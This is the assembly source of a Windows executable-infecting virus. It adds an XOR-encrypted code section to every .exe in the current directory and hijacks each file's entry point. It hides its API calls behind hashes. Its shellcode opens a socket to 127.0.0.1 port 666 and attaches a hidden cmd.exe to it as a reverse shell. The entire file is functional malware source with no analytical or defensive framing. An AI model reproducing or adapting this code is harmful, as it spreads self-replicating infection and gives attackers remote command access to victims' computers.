; jambi.asm by lucaze_b and lebrun_b
; This version add a new section of code in all PE binary in current directory
; The shellcode is xor encoded
; Check for surinfection
; Windows api functions addresses are resolved dynamically (for shellcode too)
;
; Current shellcode automatically uncrypt himself
; It Open a socket, connect to 127.0.0.1 port 666
; and create a new process "cmd.exe" with I/O redirected to the socket fd
;
; Windows api functions hash needed for Infector :
;  95DA3590 - kernel32.dll FindFirstFileA
;  4FDAF6DA - kernel32.dll CreateFileA
;  701E12C6 - kernel32.dll GetFileSize
;  520F76F6 - kernel32.dll GloabalAlloc
;  BB5F9EAD - kernel32.dll ReadFile
;  D812CDAA - kernel32.dll SetFilePointer
;  5BAE572D - kernel32.dll WriteFile
;  528796C6 - kernel32.dll CloseHandle
;  F76C45E7 - kernel32.dll FindNextFileA
;  56A2B5F0 - kernel32.dll ExitProcess
;
; Windows api functions hash needed for ShellCode :
;  0726774C - kernel32.dll LoadLibraryA
;  863FCC79 - kernel32.dll CreateProcessA
;  006B8029 - ws2_32.dll WSAStartup
;  E0DF0FEA - ws2_32.dll WSASocketA
;  6174A599 - ws2_32.dll connect
;

.386
.model flat,stdcall
option casemap:none

    include     \masm32\include\windows.inc
    include     \masm32\include\ws2_32.inc

.data
    ;; Configuration
    FileMask            db  "*.exe",0

    ;; Header Addresses
    ImageSize           dd  0
    FileSize            dd  0
    OldEntryPointAddr   dd  0
    
    ;; Some variables
    ShellCodeSize       dd  0
    FindHandle          dd  0
    FindData            WIN32_FIND_DATA <>
    FileHandle          dd  0
    FileContent         dd  0
    ByteRead            dd  ?
    
.code

;; Program start point
start:

Infector:
    mov eax,EndShellCode
    sub eax,ShellCode
    mov DWORD ptr [ShellCodeSize],eax           ; Initialization of ShellCodeSize

;; Find first file in current directory
_findFirstFile:
    push offset FindData                        ; lpFindFileData:LPWIN32_FIND_DATA
    push offset FileMask                        ; lpFileName:LPCTSTR
    push 95DA3590h                              ; push kernel32.dll.FindFirstFileA hash
    call FindNCall                              ; Find the first matching file
    test eax,eax
    jz _exit                                    ; If no file found Aborting  (eax == 0)
    mov DWORD ptr[FindHandle],eax               ; Stock the returned value of FindFirstFile in FindHandle
    
;; Openning current file
_loopFile:
    xor eax,eax
    push eax                                    ; hTemplateFile:HANDLE
    push FILE_ATTRIBUTE_NORMAL                  ; dwFlagsAndAttributes:DWORD
    push OPEN_EXISTING                          ; dwCreationDisposition:DWORD
    push eax                                    ; lpSecurityAttributes:LPSECURITY_ATTRIBUTES
    push eax                                    ; dwShareMode:DWORD
    push GENERIC_WRITE or GENERIC_READ          ; dwDesiredAccess:DWORD
    push offset FindData.cFileName              ; lpFileName:LPCTSTR
    push 4FDAF6DAh                              ; push kernel32.dll.CreateFileA hash
    call FindNCall                              ; Opening file
    mov DWORD ptr[FileHandle],eax               ; Stock returned value in FileHandle
    cmp FileHandle,INVALID_HANDLE_VALUE
    je _nextFile                                ; If opening failed Then Proceed with next file

;; Get FileSize
_getFileSize:
    push FindData.nFileSizeHigh                 ; lpFileSizeHigh:LPDWORD
    push FileHandle                             ; hFile:HANDLE
    push 701E12C6h                              ; push kernel32.dll.GetFileSize hash
    call FindNCall                              ; call GetFileSize
    cmp eax,01h
    jl _nextFile                                ; If file size <= 0 Then Proceed with Next File
    mov DWORD ptr [FileSize],eax                ; FileSize = file size

;; Alloc memory to receive file content
_globAlloc:
    add eax,1000h
    push eax                                    ; dwBytes = file size + 2000h
    push GMEM_FIXED or GMEM_ZEROINIT            ; uFlags
    push 520F76F6h                              ; push kernel32.dll.GlobalAlloc hash
    call FindNCall                              ; call GlobalAlloc
    test eax,eax
    jz _nextFile                                ; If allocation fail Then Proceed with Next File
    mov DWORD ptr [FileContent],eax             ; save eax in FileContent

;; Put file content into previously allocated memory
_readFile:
    xor eax,eax
    push eax                                    ; lpOverlapped:LPOVERLAPPED = 0
    lea eax,DWORD ptr [ByteRead]
    push eax                                    ; lpNumberOfBytesRead:LPDWORD = ByteRead
    push FileSize                               ; nNumberOfBytesToRead:DWORD = FileSize
    push FileContent                            ; lpBuffer:LPVOID = FileContent
    push FileHandle                             ; hFile:HANDLE = FileHandle
    push 0BB5F9EADh                             ; push kernel32.dll.ReadFile hash
    call FindNCall                              ; call ReadFile
    test eax,eax
    jz _nextFile                                ; If read fail Then Proceed with Next File
    
;; Checking Dos magic number
_checkDosHeader:
    mov esi,FileContent                         ; esi = FileContent address
    assume esi:ptr IMAGE_DOS_HEADER             ; Assume register as a IMAGE_DOS_HEADER structure pointer
    cmp [esi].e_magic,IMAGE_DOS_SIGNATURE
    jne _nextFile                               ; If magic number is not DosExecutable magic number Then Proceed with next file

;; Checking PE signature
_checkPEHeader:
    add esi,[esi].e_lfanew                      ; esi = PE Header address
    assume esi:ptr IMAGE_NT_HEADERS             ; Assume register as a IMAGE_NT_HEADERS structure pointer
    cmp [esi].Signature,IMAGE_NT_SIGNATURE
    jne _nextFile                               ; If PE signature is not valid Then Proceed with next file

;; Increment the NumberOfSection field in the header
_incNumberOfSections:
    xor ebx,ebx
    mov bx,[esi].FileHeader.NumberOfSections    ; ax = original number of section
    mov eax,ebx
    inc eax
    mov [esi].FileHeader.NumberOfSections,ax    ; set new NumberOfSection in the header

;; Save the original Entrypoint address
_saveOldEntryPoint:
    mov eax,[esi].OptionalHeader.AddressOfEntryPoint
    mov DWORD ptr [OldEntryPointAddr],eax       ; save original EntryPoint address
    
;; Update EntryPoint field with injected code address (end of file)
_updateEntryPoint:
    mov eax,[esi].OptionalHeader.SizeOfImage
    mov [esi].OptionalHeader.AddressOfEntryPoint,eax ; Update AddressOfEntryPoint with new Entry point
    mov DWORD ptr [ImageSize],eax

;; Increment ImageSize field by 1000h (virtual size of our new section)
_incImageSize:
    mov eax,[esi].OptionalHeader.SizeOfImage    ; get original Size of Image
    add eax,1000h                               ; increment it by virtual size of a section
    mov [esi].OptionalHeader.SizeOfImage,eax    ; replace it

;; Set esi to the end of last section, where the new section will begin
_gotoLastSection:
    add esi,sizeof(IMAGE_NT_HEADERS)            ; esi = section header address
    assume esi:ptr IMAGE_SECTION_HEADER
    mov eax,sizeof(IMAGE_SECTION_HEADER)        ; eax = section header size
    mov ecx,ebx                                 ; ecx counter = Original number of sections
    mul ecx                                     ; eax = eax * ecx
    add esi,eax                                 ; esi = Last Section Header address
    
;; Check signature
_checkSignature:
    mov ecx,esi
    sub ecx,sizeof(IMAGE_SECTION_HEADER)
    cmp DWORD ptr [ecx],726F78h                 ; If last section named "xor"
    je _nextFile                                ;   Then file already infected Proceed with next file

;; Initialize the section header    
_setHeaderValues:
    assume esi:ptr IMAGE_SECTION_HEADER
    xor ecx,ecx
    mov DWORD ptr [esi].Name1, "rox"            ; Name of the section "xor" :)
    mov [esi].Misc.PhysicalAddress,ecx          ; PhysicalAddress = 0
    mov [esi].Misc.VirtualSize,1000h            ; VirtualSize = 1000h
    push ImageSize
    pop [esi].VirtualAddress                    ; VirtualAdress = original ImageSize
    mov eax,ShellCodeSize
    mov [esi].SizeOfRawData,eax                 ; SizeOfRawData = ShellCode size
    mov eax,FileSize
    mov [esi].PointerToRawData,eax              ; PointerToRawData = Actual end of file
    mov [esi].Characteristics,0E0000020h        ; Flag read write and execute

;; Write shellCode into mapped file
_dupShellcode:
    mov edi,FileContent
    add edi,FileSize                            ; edi = FileContent addr + original file size
    mov esi,offset ShellCode
    mov edx,ShellCodeSize                       ; ecx = ShellCodeSize
    mov ebx,0FF94h                              ; ebx = Xor key

;; This loop write the shellcode to the mapped file and crypt with incremental xor key after _toCrypt label
_dupLoop:
    cmp esi,_toCrypt
    lodsb                                       ; Load current byte
    jl _noCrypt                                 ; If current position < _toCrypt address Then no crypt
    xor eax,ebx                                 ; Crypt
    inc ebx                                     ; Increment Xor key
    _noCrypt:
    stosb                                       ; Write current byte to edi
    dec edx                                     ; Decrement counter
    jnz _dupLoop                                ; If edx != 0 Then continue

;; Write jmp to OldEntryPoint at the end of the Shellcode
_writeJump:
    mov DWORD ptr [edi],0E9h                    ; jmp OpCode
    inc edi                                     ; next Byte
    mov ecx,ImageSize                           ; ecx = New entry point offset (original ImageSize)
    sub ecx,OldEntryPointAddr                   ; ecx = New entry point offset - Old entry point offset
    xor eax,eax
    sub eax,ecx                                 ; eax = 0 - ecx
    sub eax,ShellCodeSize                       ; eax = eax - ShellCode size
    sub eax,05h                                 ; eax = eax - 5 (size of jmp instruction)
    mov DWORD ptr [edi],eax                     ; Write Old EntryPoint address
    
;; Set file pointer for WriteFile
_setFilePointer:
    xor eax,eax
    push eax                                    ; dwMoveMethod:DWORD = 0
    push eax                                    ; lpDistanceToMoveHigh:PLONG = 0
    push eax                                    ; lDistanceToMove:LONG = 0
    push FileHandle                             ; hFile:HANDLE = FileHandle
    push 0D812CDAAh                             ; push kernel32.dll.SetFilePointer hash
    call FindNCall                              ; call SetFilePointer
    cmp eax,INVALID_SET_FILE_POINTER
    je _nextFile                                ; If Fail to set Pointer Then Proceed with next file

;; Write file
_writeFile:
    mov eax,ShellCodeSize
    mov ecx,FileSize
    add ecx,eax
    add ecx,5h                                  ; ecx = File size + ShellCode size + 5
    lea eax,ByteRead                            ; eax = pointer to ByteRead
    push 0h                                     ; lpOverlapped:LPOVERLAPPED = 0
    push eax                                    ; lpNumberOfBytesWritten:LPDWORD = &ByteRead
    push ecx                                    ; nNumberOfBytesToWrite:DWORD = File size + ShellCode size + 5
    push FileContent                            ; lpBuffer:LPCVOID = FileContent
    push FileHandle                             ; hFile:HANDLE = FileHandle
    push 5BAE572Dh                              ; push kernel32.dll.WriteFile hash
    call FindNCall                              ; call WriteFile

;; If valid Handle Then close it
_nextFile:
    cmp FileHandle,INVALID_HANDLE_VALUE
    jne _getNextFile                            ; If not Valid FileHandle goto _getNextFile
    push FileHandle                             ; hObject:HANDLE
    push 528796C6h                              ; push kernel32.dll.CloseHandle hash
    call FindNCall                              ; Close FileHandle

;; Get the next file
_getNextFile:
    push offset FindData                        ; lpFindFileData:LPWIN32_FIND_DATA
    push FindHandle                             ; hFindFile:HANDLE
    push 0F76C45E7h                             ; push kernel32.dll.FindNextFileA hash
    call FindNCall                              ; Find next file
    test eax,eax
    jnz _loopFile                               ; If file found Then Proceed with next file

;; Exit program
_exit:
    push 0h                                     ; uExitCode
    push 56A2B5F0h                              ; push kernel32.dll.ExitProcess hash
    call FindNCall                              ; call ExitProcess (return 0)

;; This is the shellcode :)
ShellCode:
    call _decrypt                                ; Call Decrypt to get address of start code (+ 5)
_decrypt:
    mov eax,offset _toCrypt
    sub eax,offset _decrypt                     ; eax = Delta from _decrypt to _toCrypt
    pop esi                                     ; esi = _decrypt address
    add esi,eax                                 ; esi = _toCrypt address
    mov edi,esi                                 ; edi = esi (we overwrite the code with decrypted code because current section is set writable)
    mov edx,offset EndShellCode
    sub edx,offset _toCrypt                     ; edx = Crypted code size
    movzx ebx,bp                                ; ebx = Xor key
_xorLoop:
    lodsb                                       ; Load current byte
    xor eax,ebx                                 ; Xor byte with the key
    stosb                                       ; replace current byte by decrypted
    inc ebx                                     ; Increment Xor key
    dec edx                                     ; Decrement counter
    jnz _xorLoop                                ; If edx != 0 Then continue
_toCrypt:
    call _getLibHandle                          ; I have pointer on ''ws2_32' sting in esp :)
    db 'ws2_32',0
    include findncall.asm                       ; include FindAndCall function
_getLibHandle:
    push 0726774Ch                              ; push kernel32.LoadlibraryA hash
    call FindNCall                              ; call LoadLibraryA, I already have lib name string pointer on the stack
_wsaStartup:                     
    sub esp,0300h                               ; initialize WSAData (sizeof WSAData = 0x300)
    push esp                                    ; lpWSAData:WSAData
    push AF_INET                                ; wVersionRequested:WORD
    push 006B8029h                              ; push ws2_32.dll.WSAStartup hash
    call FindNCall                              ; call WSAStartup
_createSocket:
    push eax                                    ; dwFlags:DWORD = 0
    push eax                                    ; g:GROUP = 0
    push eax                                    ; lpProtocolInfo:LPWSAPROTOCOL_INFO = 0
    push eax                                    ; protocol:int = 0
    inc eax                                     ; eax = 1
    push eax                                    ; type:int = SOCK_STREAM (01h)
    inc eax                                     ; eax = 2
    push eax                                    ; af:int = AF_INET (02h)
    push 0E0DF0FEAh                             ; push ws2_32.dll.WSASocketA hash
    call FindNCall                              ; call WSASocketA
    mov esi,eax                                 ; esi = returned file descriptor
_connectSocket:
    push 0100007fh                              ; struct sockaddr = 127.0.0.1
    push 9A020002h                              ; struct sockaddr = 666
    mov ebx,esp                                 ; ebx = struct sockaddr address
    push 10h                                    ; namelen:int = 16
    push ebx                                    ; name:const struct sockaddr = pointer on previously initialized struct sockaddr
    push esi                                    ; s:SOCKET = file descriptor returned by connect
    push 6174A599h                              ; push ws2_32.dll.connect hash
    call FindNCall                              ; Call connect
_initializeProcess:
    mov ecx,[sizeof(PROCESS_INFORMATION) + sizeof(STARTUPINFO)] ; ecx = 054h (size of PROCESS_INFORMATION and STARTUPINFO)
    sub esp,ecx                                 ; Allocate stack space for the two structures
    mov edi,esp                                 ; Set edi to point to the STARTUPINFO structure
    push edi                                    ; Save edi
_zeroStructs:
    rep stosb                                   ; Write 0 in the two structures
    pop edi                                     ; Restore edi
_initializeStructs:
    mov BYTE ptr [edi],sizeof(STARTUPINFO)      ; STARTUPINFO.cb:DWORD = 0x44 (the size of the structure)
    inc BYTE ptr [edi + 2dh]                    ; STARTUPINFO.dwFlags:DWORD = STARTF_USESTDHANDLES (indicate that the hStdInput, hStdOutput, and hStdError will be used)
    push edi                                    ; Save edi
    mov eax,esi                                 ; eax = file descriptor returned by connect
    lea edi,[edi + 38h]                         ; Load the effective address of the STARTUPINFO.hStdInput:HANDLE
    stosd                                       ; STARTUPINFO.hStdInput:HANDLE = file descriptor returned by connect
    stosd                                       ; STARTUPINFO.hStdOutput:HANDLE = file descriptor returned by connect
    stosd                                       ; STARTUPINFO.hStdError:HANDLE = file descriptor returned by connect
    pop edi                                     ; Restore edi
_executeProcess:
    push 00646d63h                              ; push 'c' 'm' 'd' '\0' on the stack
    mov eax,esp                                 ; eax = pointer on "cmd" string
    lea esi,[edi + sizeof(STARTUPINFO)]         ; esi = &PROCESS_INFORMATION structure
    push esi                                    ; lpProcessInformation:LPPROCESS_INFORMATION = esi
    push edi                                    ; lpStartupInfo:LPSTARTUPINFO = edi
    push ecx                                    ; lpCurrentDirectory:LPCTSTR  = 0
    push ecx                                    ; lpEnvironment:LPVOID = 0
    push CREATE_NO_WINDOW                       ; dwCreationFlags:DWORD
    inc ecx
    push ecx                                    ; bInheritHandles:BOOL = TRUE (client needs to inherit the socket file descriptor)
    dec ecx                    
    push ecx                                    ; lpThreadAttributes:LPSECURITY_ATTRIBUTES = 0
    push ecx                                    ; lpProcessAttributes:LPSECURITY_ATTRIBUTES = 0
    push eax                                    ; lpCommandLine:LPTSTR = adress of "cmd" string
    push ecx                                    ; lpApplicationName:LPTSTR = 0
    push 863FCC79h                              ; push kernel32.CreateProcessA hash
    call FindNCall                              ; Call CreateProcessA
EndShellCode:
    ; Here jambi put a jmp instruction pointing on the OldEntrypoint
    
end start